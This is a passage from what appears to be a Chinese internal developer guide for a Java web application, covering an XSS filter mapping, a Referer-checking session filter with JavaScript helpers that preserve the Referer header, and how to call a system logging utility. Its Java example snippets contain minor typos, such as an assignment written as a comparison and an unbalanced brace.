        <filter-name>XSSCheckFilter</filter-name>
        <url-pattern>*.jsp</url-pattern>
    </filter-mapping>
```

5 控制通过输入非登录页的url进入系统功能

5.1.1 Referer验证过滤器

现在用户登录系统后可以输入非登录页面的url进入系统，安全评测中要求控制此类行为，因此需要修改项目中验证session的过滤器

此过滤器是先验证referer参数是否为空且是否与本系统同域，如果为空或者不同域则输出”非法的url请求”字样，控制和验证referer参数的代码在com.hhwy.iepip.commonbusiness.login.util. SessionFilter过滤器中

如果开发阶段需要方便打开多个页签进行调试，可以在web.xml中设置canInputUrl参数为true即可

5.1.2 window.open和window.location.href=特殊处理

因为过滤器中验证了header中referer是否存在，直接通过window.open方式打开窗口或者直接调用window.location.href=””这种代码会丢失referer,因此需要调用一个公共的js方法特殊处理一下例如通过隐藏的form表单提交的方式，或者通过隐藏的链接来新打开窗口,header中的referer才能存在,具体方式如下:

在页面中引入

```
<script type="text/javascript"
src="<%=basePath%>js/DynamicFormOrLink.js"></script>
        <script type="text/javascript"
src="<%=basePath%>js/WindowBuilder.js"></script>
```

```
        <script type="text/javascript"
src="<%=basePath%>js/sysHelper.js"></script>
```

如果引入了top.jspf则不用再引入上面三个js了

然后当需要调用window.open时

则改为调用openDynWin3,

openDynWin3中的参数跟window.open的的参数顺序一样可以直接调用，也可以只传一个url给它，都没问题

当调用window.location.href=XXX时需要调用

dynOpenLocation(XXX);即可

之前的jsp的代码中有很多window.open(XXX)和window.location.href=XXX之类的代码，我已经做了兼容性处理，即通过一个中间的jsp中转了一下，因此这类代码依然能正常运行，但以后我们写代码就不要直接调用window.open(XXX)和window.location.href=XXX了

6 系统日志组件的调用方法

新添加了一个系统日志工具类

com.hhwy.iepip.framework.web.util. SysLogHelper

可以通过下面方法来使用该工具,

6.1.1 方法一:直接调用

SysLogHelper .insertSystemLog(String logContent,String logResult,String logDesc)这个方法

上面三个参数的意义是

logContent 代表具体的日志内容可以随便定义,例如"修改了数据","添加了数据"

logResult 目前先限定两个取值 SysLogHelper.INFO和SysLogHelper.ERR

INFO代表程序代码正常执行,

ERR代表程序抛出了异常此时logContent应该在

Catch块中得到exception e对象 然后将此对象e通过调用

logContent=SysLogHelper. getThrowableMess(e)给logContent赋值

logDesc 代表操作的描述
具体例子如下:

比如修改 业务数据的 BusinessAction

有一个addBusinessData方法,可以通过下面的记录日志

//添加业务数据的方法

```
public  String  addBusinessData(){
  String logResult=SysLogHelper.INFO;
    String logDesc="添加XXX数据成功";
    String logContent="添加XXX数据";
  try{
    businessService.addBusinessData();
```

```
  }catch(Exception e){
    logResult=SysLogHelper.ERR;
       logDesc= SysLogHelper. getThrowableMess(e);
  }finally{
    //插入系统日志
    SysLogHelper. insertSystemLog( logContent,logResult,logDesc)
  }
}
```

6.1.2 方法二通过Annotation

此方法要求自己的acton方法上面要有一个注解

```
@MethodAnnotation("添加XXX数据")
public String addBusinessData(){
    businessService.addBusinessData();

}
```

"添加XXX数据"就是代表上面的logContent字段

注意logContent中必须要出现以下文字

新建、修改、删除、导入、导出、添加、登录、退出、保存才可以生成日志

logDesc的默认值为”操作成功”或者对应的异常信息

另外如果需要动态的指定 日志中的logContent的值或者

logDesc的值

可以用下面的写法

```
@MethodAnnotation("添加AAA数据")
public String addBusinessData(){
  if(type=”aaa”)
    businessService.addAAAData();
       Request.setAttribute(SysLogHelper. LOGCDESCKEY,
"添加AAA数据成功");
    }else{
       Request.setAttribute(SysLogHelper.LOGCENTENTKEY, "添加BBB数据");
       businessService.addBBBData();
       Request.setAttribute(SysLogHelper. LOGCDESCKEY, "添加BBB数据成功");
  }
}
```